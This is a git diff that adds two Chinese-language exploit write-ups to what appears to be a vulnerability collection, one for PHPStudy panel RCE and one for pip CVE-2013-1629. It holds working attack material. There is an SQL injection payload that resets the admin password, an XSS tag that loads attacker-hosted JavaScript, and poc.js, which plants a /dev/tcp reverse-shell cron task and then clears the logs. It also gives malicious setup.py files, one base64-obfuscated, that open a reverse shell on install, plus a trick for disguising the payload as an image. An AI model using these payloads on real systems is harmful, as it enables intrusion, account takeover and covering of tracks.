更新漏洞
@ -280,6 +280,7 @@
|
||||
* NPS auth_key 未授权访问漏洞
|
||||
* OneBlog 小于v2.2.1 远程命令执行漏洞
|
||||
* phpMyAdmin后台SQL注入 CVE-2020-26935
|
||||
* PHPStudy 后台管理页面 one click RCE
|
||||
* PowerJob list 信息泄漏漏洞 CVE-2023-29923
|
||||
* Riskscanner list SQL注入漏洞
|
||||
* Roxy-Wi options.py 远程命令执行漏洞 CVE-2022-31137
|
||||
@ -495,6 +496,7 @@
|
||||
|
||||
* GO TLS握手 崩溃漏洞 CVE-2021-34558
|
||||
* PHP zerodium后门漏洞
|
||||
* Python pip install RCE 漏洞 CVE-2013-1629
|
||||
- 操作系统漏洞
|
||||
|
||||
* Linux DirtyPipe权限提升漏洞 CVE-2022-0847
|
||||
|
||||
143
Web应用漏洞/PHPStudy 后台管理页面 one click RCE.md
Normal file
@ -0,0 +1,143 @@
|
||||
# PHPStudy 后台管理页面 one click RCE
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
phpStudy 集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。支持一键 LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx 反向代理、服务器防火墙、Web 防火墙、监控大屏等服务器管理功能。phpStudy 面板存在存储型 XSS 漏洞,攻击者可以通过 js 调用面板中的计划任务执行系统命令。
|
||||
|
||||
## 影响版本
|
||||
|
||||
```
|
||||
小皮 windows 面板 V0.102 以及以下版本
|
||||
小皮 linux 面板 X1.29 以及以下版本
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
### 方式 1 SQL 注入
|
||||
|
||||
phpstudy 访问面板登录页面需要添加如下 Headers:
|
||||
|
||||
```
|
||||
x-requested-with: XMLHttpRequest
|
||||
```
|
||||
|
||||

|
||||
|
||||
在用户登录处构造 Payload,其中 Password 的值是经过五次 md5 加密后的结果,脚本如下:
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
str = "123456"
|
||||
for i in range(0,5):
|
||||
str = hashlib.md5(str.encode()).hexdigest()
|
||||
print(str)
|
||||
```
|
||||
|
||||
填写 Payload,验证码处需要正确输入:
|
||||
|
||||
```
|
||||
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
|
||||
```
|
||||
|
||||
虽然提示错误信息,但此时已经成功将用户名/密码修改为: `admin/123456`
|
||||
|
||||

|
||||
|
||||
在后台计划任务处创建一个反弹 shell 脚本,点击执行:
|
||||
|
||||

|
||||
|
||||
服务器端监听,成功接收反弹 Shell:
|
||||
|
||||

|
||||
|
||||
### 方式 2 XSS
|
||||
|
||||
在 VPS 上放置 [poc.js](#漏洞POC),监听 8888 端口,并通过以下命令启动 HTTP 服务:
|
||||
|
||||
```
|
||||
python3 -m http.server 9999
|
||||
```
|
||||
|
||||
在访问面板登录页面用户名处插入 XSS 语句:
|
||||
|
||||
```
|
||||
<script src="http://<your-vps-ip>:9999/poc.js"></script>
|
||||
```
|
||||
|
||||

|
||||
|
||||
通过方式 1,已经获得了用户名/密码为 admin/123456,进入后台验证一下计划任务是否成功写入:
|
||||
|
||||

|
||||
|
||||
等待 1 分钟,成功接收反弹 Shell:
|
||||
|
||||

|
||||
|
||||
## 漏洞POC
|
||||
|
||||
poc.js:
|
||||
|
||||
```js
|
||||
function exp() {
|
||||
$.ajax({
|
||||
url: '/service/app/tasks.php?type=task_list', //获取计划任务列表
|
||||
type: 'GET',
|
||||
headers:{
|
||||
"X-Requested-With": "XMLHttpRequest"
|
||||
},
|
||||
dataType: 'json',
|
||||
success: function (data) {
|
||||
var id = data.data[0].ID; //任务名称
|
||||
$.ajax({
|
||||
url: '/service/app/tasks.php?type=exec_task', //执行计划任务
|
||||
type: 'POST',
|
||||
headers:{
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
|
||||
},
|
||||
data: { tid: id },
|
||||
dataType: 'json',
|
||||
success: function (res) {
|
||||
$.ajax({
|
||||
url: '/service/app/log.php?type=clearlog',
|
||||
type: 'POST',
|
||||
data: { type: 'clearlog' },
|
||||
dataType: 'json',
|
||||
success: function (res2) {}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function save() {
|
||||
var data = new Object();
|
||||
data.task_id = '';
|
||||
data.title = 'test';
|
||||
data.exec_cycle = '5';
|
||||
data.week = '1';
|
||||
data.day = '3';
|
||||
data.hour = '1';
|
||||
data.minute = '1';
|
||||
data.shell = 'bash -i >& /dev/tcp/<your-vps-ip>/8888 0>&1';;
|
||||
$.ajax({
|
||||
url: '/service/app/tasks.php?type=save_shell',
|
||||
type: 'POST',
|
||||
headers:{
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
|
||||
},
|
||||
data: data,
|
||||
dataType: 'json',
|
||||
success: function (res) {
|
||||
exp();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
save();
|
||||
```
|
||||
|
||||
BIN
Web应用漏洞/images/image-20230519091358703.png
Normal file
|
After Width: | Height: | Size: 203 KiB |
BIN
Web应用漏洞/images/image-20230519092040856.png
Normal file
|
After Width: | Height: | Size: 224 KiB |
BIN
Web应用漏洞/images/image-20230519092608985.png
Normal file
|
After Width: | Height: | Size: 258 KiB |
BIN
Web应用漏洞/images/image-20230519092655024.png
Normal file
|
After Width: | Height: | Size: 144 KiB |
BIN
Web应用漏洞/images/image-20230519094345974.png
Normal file
|
After Width: | Height: | Size: 181 KiB |
BIN
Web应用漏洞/images/image-20230519100003117.png
Normal file
|
After Width: | Height: | Size: 69 KiB |
BIN
Web应用漏洞/images/image-20230519100442704.png
Normal file
|
After Width: | Height: | Size: 175 KiB |
110
开发语言漏洞/Python pip install RCE 漏洞 CVE-2013-1629.md
Normal file
@ -0,0 +1,110 @@
|
||||
# Python pip install RCE 漏洞 CVE-2013-1629
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
当通过 HTTP 从 Pypi 存储库检索包时,不会检查包内容的完整性。利用这个缺陷,攻击者可以通过 `pip install` 来执行代码。
|
||||
|
||||
参考阅读:
|
||||
|
||||
- https://github.com/0x00-0x00/FakePip
|
||||
- https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce-using-pip/python/sid-2098
|
||||
|
||||
## 影响版本
|
||||
|
||||
```
|
||||
pip < 1.3
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
### 方式1 FakePip
|
||||
|
||||
将 [setup.py](#漏洞POC) 文件下载到远程目标:
|
||||
|
||||
```
|
||||
$ wget http://your-vps-ip/setup.py
|
||||
```
|
||||
|
||||
在 VPS 上监听端口,在远程目标上执行命令:
|
||||
|
||||
```
|
||||
$ mkdir fakepip
|
||||
$ mv setup.py fakepip/
|
||||
$ cd fakepip
|
||||
# sudo /usr/bin/pip install . --upgrade --force-reinstall
|
||||
```
|
||||
|
||||
成功获取反弹 Shell。
|
||||
|
||||
### 方式2 图片马
|
||||
|
||||
将 [setup.py](#漏洞POC) 文件放在文件夹中并压缩命名为,选择一张图片 test.png,制作图片马:
|
||||
|
||||
```
|
||||
$ copy /b test.png + pic.zip pic.png
|
||||
```
|
||||
|
||||
在 VPS 上监听端口,将图片上传至公网图床,复制链接,在远程目标上执行命令:
|
||||
|
||||
```
|
||||
$ pip install " https://<your-img-link>"
|
||||
```
|
||||
|
||||
也将图片可以上传到 VPS,在远程目标上执行命令:
|
||||
|
||||
```
|
||||
$ pip3 install "http://192"."168"."xx"."xxx/pic.png"
|
||||
```
|
||||
|
||||
## 漏洞POC
|
||||
|
||||
方式1 setup.py
|
||||
|
||||
```python
|
||||
from setuptools import setup
|
||||
from setuptools.command.install import install
|
||||
import base64
|
||||
import os
|
||||
|
||||
|
||||
class CustomInstall(install):
|
||||
def run(self):
|
||||
install.run(self)
|
||||
LHOST = 'localhost' # change this
|
||||
LPORT = 13372
|
||||
|
||||
reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
|
||||
encoded = base64.b64encode(reverse_shell)
|
||||
os.system('echo %s|base64 -d|bash' % encoded)
|
||||
|
||||
|
||||
setup(name='FakePip',
|
||||
version='0.0.1',
|
||||
description='This will exploit a sudoer able to /usr/bin/pip install *',
|
||||
zip_safe=False,
|
||||
cmdclass={'install': CustomInstall})
|
||||
```
|
||||
|
||||
方式2 setup.py
|
||||
|
||||
```python
|
||||
from setuptools import setup
|
||||
import socket,subprocess,os
|
||||
def run():
|
||||
import socket, time,pty, os
|
||||
host='{LHOST}'
|
||||
port='{LPORT}'
|
||||
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
s.settimeout(10)
|
||||
s.connect((host,port))
|
||||
os.dup2(s.fileno(),0)
|
||||
os.dup2(s.fileno(),1)
|
||||
os.dup2(s.fileno(),2)
|
||||
os.putenv("HISTFILE",'/dev/null')
|
||||
pty.spawn("/bin/bash")
|
||||
s.close()
|
||||
run()
|
||||
|
||||
setup(name="FakePip", version="1.0")
|
||||
```
|
||||
|
||||